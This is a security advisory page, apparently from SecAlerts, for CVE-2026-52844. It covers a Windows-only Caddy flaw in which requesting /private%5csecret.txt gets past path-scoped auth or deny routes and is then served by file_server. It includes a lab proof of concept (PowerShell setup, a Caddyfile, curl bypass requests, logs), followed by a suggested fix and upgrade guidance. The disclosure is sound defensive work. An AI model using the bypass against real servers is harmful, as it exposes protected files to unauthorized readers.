CVE-2026-52844: Caddy: Windows `file_server` path authorization bypass via encoded backslash

Published Jun 16, 2026
·
Updated

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/, but fileserver later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/.

Details

The mismatch is between two Caddy code paths:

- MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532. - If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271. - fileserver then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263. - On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / tryfiles glob path. This report does not use tryfiles or the file matcher; it affects ordinary path route matchers in front of direct fileserver serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

powershell $base = "C:\Users\Public\caddy-backslash-poc" Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force "$base\www\private" | Out-Null Set-Content -Path "$base\www\private\secret.txt" -Value "SECRETFROMWINDOWSLAB" -NoNewline -Encoding ASCII

@' { debug admin off autohttps off }

:19080 { log root C:\Users\Public\caddy-backslash-poc\www

@private path /private/ respond @private 403

fileserver } '@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

powershell cd C:\Users\Public\caddy-backslash-poc .\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

bash curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

text > GET /private/secret.txt HTTP/1.1 < HTTP/1.1 403 Forbidden

Bypass request:

bash curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

text > GET /private%5csecret.txt HTTP/1.1 < HTTP/1.1 200 OK < Content-Length: 23

SECRETFROMWINDOWSLAB

Uppercase %5C produces the same result.

Relevant debug log lines:

json {"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"} {"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403} {"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before fileserver.

This pattern is documented by Caddy itself, for example basicauth /secret/ { ... } followed by fileserver.

An attacker can read files that were intended to be protected by Caddy-side basicauth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before fileserver resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

Other sources

Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\secret.txt as outside /private/, but fileserver later resolves the same request path as private\secret.txt on disk. An unauthenticated remote client can bypass Caddy path-scoped auth/deny routes protecting /private/. This vulnerability is fixed in 2.11.4.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/caddyserver/caddy<=1.0.5
go/github.com/caddyserver/caddy/v2<2.11.4
2.11.4
All of the following
caddyserver Caddy<2.11.4
Microsoft Windows

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/caddyserver/caddy/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.4
  2. Upgrade

    Upgrade Caddy to a version that resolves this vulnerability.

    Fixed in 2.11.4
  3. Compensating control

    On Windows, normalize request paths consistently before Caddy `path` route matcher authorization is evaluated, or reject request paths containing a backslash (`\`) so they cannot be resolved by `file_server` as filesystem separators.

Event History

Jun 16, 2026
Advisory Published
via GitHub·09:28 PM
Data Sourced
via GitHub·09:28 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·05:50 PM
Data Sourced
via MITRE·05:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-52844?

The severity of CVE-2026-52844 is rated high with a score of 7.5.

2

How do I fix CVE-2026-52844?

To fix CVE-2026-52844, ensure your Caddy server is updated to the latest version that addresses this vulnerability.

3

What kind of attack is possible due to CVE-2026-52844?

Due to CVE-2026-52844, an unauthenticated remote client can bypass path-scoped authentication due to improper path resolution.

4

What systems are affected by CVE-2026-52844?

CVE-2026-52844 affects the Caddy web server, specifically versions of Caddy that handle path matchers improperly.

5

What is the impact of CVE-2026-52844?

The impact of CVE-2026-52844 allows unauthorized access to sensitive files by exploiting path traversal vulnerabilities.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203